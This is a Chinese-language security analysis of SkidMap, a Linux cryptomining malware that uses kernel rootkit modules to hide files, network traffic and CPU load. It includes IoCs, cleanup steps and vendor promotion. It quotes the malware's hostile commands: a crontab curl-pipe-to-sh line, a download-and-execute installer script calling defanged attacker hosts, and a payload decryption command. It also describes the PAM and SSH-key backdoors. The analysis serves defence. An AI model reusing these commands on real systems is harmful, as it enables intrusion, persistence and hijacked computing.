Linux恶意挖矿软件SkidMap分析——伪造CPU占用
挖掘加密货币恶意软件仍然是一个普遍的威胁。网络罪犯也越来越多地探索新的平台和方法来进一步利用挖矿恶意软件——从移动设备、Unix和类Unix系统到服务器和云环境。
攻击者不断提升恶意软件抵御检测的能力。例如,将恶意软件与看门狗组件捆绑在一起,以确保非法的加密货币挖掘活动在受感染的机器中持续存在,或者基于Linux的系统,利用基于LD_PRELOAD-based的rootkit使其组件无法被系统检测到。
SkidMap是最近偶然发现的一个Linux恶意软件,它展示了最近加密货币挖掘威胁的日益复杂性。这个恶意软件之所以引人注目,是因为它加载恶意内核模块的方式,使其恶意行为不会被发现。
与用户模式的rootkit相比,这些内核模式的rootkit不仅更难检测,攻击者还可以使用它们获得对受影响系统的访问权限。skidmap还可以设置一个主密码,让它可以访问系统中的任何用户帐户。SkidMap的许多例程都需要根访问,SkidMap使用的攻击向量(无论是通过漏洞攻击、错误配置)很可能与向攻击者提供对系统的根访问或管理访问的攻击向量相同。
Skidmap感染链
恶意软件通过crontab将自身安装到目标计算机上,如下所示:
*/1 * * * * curl -fsSL hxxp://pm[.]ipfswallet[.]tk/pm.sh | sh
然后,安装脚本pm.sh下载主二进制文件“pc”:
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then
get -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then
cur -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc else
url -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc fi
执行“PC”二进制文件后,将更改削弱受影响机器的安全设置。如果文件/usr/sbin/setenforce存在,恶意软件执行命令setenforce 0。如果系统有/etc/selinux/config文件,它会将这些命令写入文件:selinux=disabled和selinux=targeted命令。前者禁用selinux策略(或不允许加载selinux策略),而后者将选定进程设置为在受限域中运行。
SkidMap还提供了后门,通过让二进制文件将其处理程序的公钥添加到authorized_keys文件来实现,该文件包含身份验证所需的密钥。
除了后门进入,SkidMap还为攻击者提供了另一种进入机器的方式。恶意软件用自己的恶意版本(检测为backdoor.linux.pamdor.a)替换系统的pam_unix.so文件(负责标准unix身份验证的模块)。如图2所示,此恶意pam_unix.so文件接受任何用户的特定密码,从而允许攻击者以计算机中的任何用户身份登录。
SkidMap加密货币
“pc”二进制文件检查受感染系统的操作系统是debian还是rhel/centos。
对于基于debian的系统,它将cryptocurrency miner的有效负载降到/tmp/miner2。对于centos/rhel系统,它将从url hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz下载一个tar文件,该文件包含cryptocurrency miner及其多个组件,然后将其解压缩并安装。
SkidMap其他恶意组件
恶意软件组件旨在进一步混淆其恶意活动并确保它们继续运行:
1、一个伪“rm”二进制文件:tar文件中包含的一个组件是一个伪“rm”二进制文件,它将替换原始的文件(rm通常用作删除文件的命令)。此文件设置一个恶意cron作业,该作业将下载并执行一个文件。
2、kaudited,安装/usr/bin/kaudited文件。此二进制文件在受感染的计算机上安装多个可加载内核模块(LKM)。为了确保受感染的机器不会由于内核模式rootkits而崩溃,它对特定的内核版本使用不同的模块。kaudited二进制文件还删除了一个监视程序组件。
3、iproute,该模块钩住系统调用getdents(通常用于读取目录的内容)以隐藏特定的文件。
4、netlink,伪造网络流量和cpu相关的统计,使受感染机器的CPU负载始终看起来很低。
解决方案
SkidMap使用相当先进的方法来确保它及其组件不被发现。此外,SkidMap有多种方式访问受影响的机器,使其能够重新影响已恢复或清理的系统。
加密货币挖掘不仅影响服务器和工作站的性能,导致更高的开支,甚至扰乱业务。考虑到Linux在许多企业环境中的使用,用户和管理员应保持系统和服务器的更新和修补;谨防未经验证的第三方存储库;防止恶意文件或进程运行。
IoCs
服务器真的没有异常吗?挖矿病毒Skidmap伪造CPU使用率
背景介绍
随着加密货币价格一路上涨,恶意入侵服务器安装挖矿病毒事件呈增多趋势。近日,深信服终端安全团队捕获到一款利用Linux内核Rootkit模组进行隐秘挖矿的病毒。该病毒在19年9月已被安全研究人员披露并命名为Skidmap,但在最新的捕获样例中,该病毒在反制查杀手段上进行了更新。本文将对Skidmap进行深入分析,并给出检测和处置方案。
病毒信息
Skidmap通过恶意脚本安装,从网络上下载多个恶意程序安装于系统中,主要功能为挖矿和远控。不同于以往的preload劫持,篡改系统命令等常见手法,Skidmap利用内核rootkit模组对文件、进程、网络以及CPU负载等进行隐藏来实现持久化。从终端上往往无法检查出任何异常,ps、top、ls、netstat等命令会返回一个虚假的结果。同时,Skidmap还对命令行的busybox、unhide、sysdig关键字进行监控,一旦发现则结束对应进程,让处置难度增加。令人感到意外的是,此举并非是为了防止运维人员处置病毒,而为了争夺“地盘”,用来应对另一大挖矿病毒家族GuardMiner的查杀。
感染现象
可以通过检查以下两点确认终端是否感染Skidmap:
(1)当进程命令行中出现unhide、busybox等关键字时会出现终端断线情况$ vi busybox$ yum install unhide(2)authorized_key被写入恶意的密钥,用户名为root@doclever
感染流程
Skidmap入侵终端后,执行脚本pm.sh来下载运行程序ups程序ups功能如下:(1) 关闭SELinux;(2) 通过篡改Linux身份认证软件pam_unix.so留下后门;(3) 通过将恶意ssh-key写入authorized_keys留下后门;(4) 重命名系统命令chattr为t,并为改动的文件添加写保护;(5) 下载并安装恶意软件包cos8.tar.gz;
软件包cos8包含文件如下:(1) install.sh 安装脚本;(2) clear.sh 清理系统日志、登录日志以及audit审计日志工具;(3) rctl.sh 僵尸网络安装脚本;(4) kaudited 恶意程序;(5) pamdicks.org、pamdicks-sugar挖矿程序;
安装脚本install.sh功能如下:(1) 篡改设备事件管理服务systemd-udeved.service,使用恶意程序kaudited替换;(2) 将恶意程序kaudited注册为服务并启动;(3) 安装ip6network、scp、ss、ssh网络相关组件;(4) 修改ssh配置文件,开启GSSAPI认证;
恶意服务kaudited主要功能如下:(1)从数据段解压释放恶意程序kswaped、pkeeminfo、systemd-network、mingety等;(2)加载内核rootkit模组netlink.ko;(3)配置远控模组/etc/rctlconf,执行并隐藏pkeeminfo;(4)执行并隐藏ip6network、kswaped、systemd-network、mingety;流程图如下:
样本分析
01脚本pm.sh
病毒启动方式为恶意脚本pm.sh,脚本内容为下载并执行恶意程序ups
02安装程序 ups
设置SELinux为permissive模式,关闭SELinux
篡改pam_unix.so文件留下后门(pam是Linux身份验证机制)
将恶意ssh-key写入authorized_keys留下后门
重命名chattr为t,利用chattr +ia authorized_keys进行保护
下载并解压恶意软件包(cos8.tar.gz)$ hxxp://e.powerofwish.com/.../cos8.tar.gz$ dd if=cos8.tar.gz | openssl des3 -d -k jcx@076 | tar xzf -
03安装包cos8
安装包包含工具组件如下:
-
install.sh 安装脚本
-
rctl.sh 远控安装脚本
-
ip6network、scp、ss、ssh为远控必备的网络组件
-
kaudited 主程序
-
pamdicks.org、pamdicks-sugar为挖矿软件
install.sh脚本功能如下:
-
篡改设备事件管理服务systemd-udeved.service,使用恶意文件kaudited替换
-
将恶意文件kaudited注册为服务启动
-
安装ip6network、scp、ss、ssh等网络组件
-
修改ssh配置文件,开启GSSAPI认证
clear.sh脚本功能如下:
-
清除各类审计日志记录
-
删除audit审计进程
04服务kaudited
去壳后该文件大小达17mb,其数据段压缩了数个恶意程序,功能如下:
-
从数据段解压释放恶意程序
-
加载内核rootkit模组netlink.ko
-
配置远控模组/etc/rctlconf,执行并隐藏远控程序pkeeminfo
-
执行并隐藏ip6network、kswaped、systemd-network、mingety程序从数据段中解压程序
释放并加载rootkit内核模组netlink.ko,该内核模块主要用于隐藏恶意行为
执行并隐藏以下进程
配置僵尸网络远控软件rctl
05内核模组netlink.ko
-
隐藏自身模组
-
隐藏网络流量
-
隐藏CPU利用
-
隐藏文件
06保护程序mingety
-
检测sysdig、unhide、busybox进程并结束对应进程
07挖矿程序systemed-network
-
执行挖矿程序pamdicks.org
08远控程序pkeeminfo
-
配置文件目录位于/etc/rtclconf
-
支持ipv6、加密通信
证书公钥
09针对Gu ardMiner
在捕获的GuardMiner样本中,发现了如下代码,通过unhide扫描隐藏进程并覆盖原文件来删除SkidMap。
而保护程序mingety则通过监控命令行结束unhide进程来对抗GuardMiner。
处置方案
根据分析得到的病毒行为,处置措施如下:(1)移除恶意服务,重启系统$ t -ia /usr/bin/systemd-udeved$ echo "sangfor" > /usr/bin/systemd-udeved$ t +ia /usr/bin/systemd-udeved$ reboot(2)恢复被篡改的系统文件$ mv /usr/bin/t /usr/bin/chattr$ yum reinstall pam -y$ yum reinstall openssh-clients -y(3)移除以下恶意文件如果文件无法移除,请使用$ chattr -ia [filename]解除文件读写保护/usr/bin/kswaped/usr/bin/mingety/usr/bin/pkeeminfo/usr/bin/pamdicks/usr/bin/pamdicks.org/usr/bin/systemd-udeved/usr/bin/systemd-network/usr/bin/wtmp/etc/rctlconf/*/lib/udev/ssd_control/netlink.ko部分系统可能存在历史版本的skidmap病毒,请检查并移除以下文件/usr/bin/kaudited/usr/bin/irqbalanced/usr/bin/rctlcli/lib/udev/ssd_control/iproute.ko/lib/udev/ssd_control/crypto2.ko(4)清空ssh_authorized:$ chattr -ia ~/.ssh/authorized$ rm ~/.ssh/authorized_keys
IoCs
URLs
hxxp://e.powerofwish.com/.../cos8.tar.gz
hxxp://e.powerofwish.com/.../cos7.tar.gz
hxxp://e.powerofwish.com/.../cos6.tar.gz
hxxp://e.powerofwish.com/.../ups
FILEs(MD5)
0DB60A841D35089660885E275F50271F
F12B6DBA36142396851F37B65631BF75
112F37FB20A75EA3C03A2B5A5A2DD22F
4BE02494CB9D569F4DE5A05D9B6A4C9F
A92423ADE2AF0A35BA9999F488C1E948
CE3F759BE3B933E72A3E63F0208679B4
2A0EB24C5D3C5091BB9DB83C1EC9012B
F882ADDA86D599BEC125C6F3A55062E7
-
深信服下一代防火墙AF、终端检测响应平台EDR、安全感知平台SIP等安全产品,已集成了SAVE人工智能引擎,均能有效检测防御此恶意软件,已经部署相关产品的用户可以进行安全扫描,检测清除此恶意软件,如图所示:
-
深信服安全感知平台、下一代防火墙、EDR用户,建议及时升级最新版本,并接入安全云脑,使用云查服务以及时检测防御新威胁;
-
深信服安全产品继承深信服SAVE安全智能检测引擎,拥有对未知病毒的强大泛化检测能力,能够提前精准防御未知病毒;
-
深信服推出安全运营服务,通过以“人机共智”的服务模式提供安全设备策略检查、安全威胁检查、相关漏洞检查等服务,确保第一时间检测风险以及更新策略,防范此类威胁。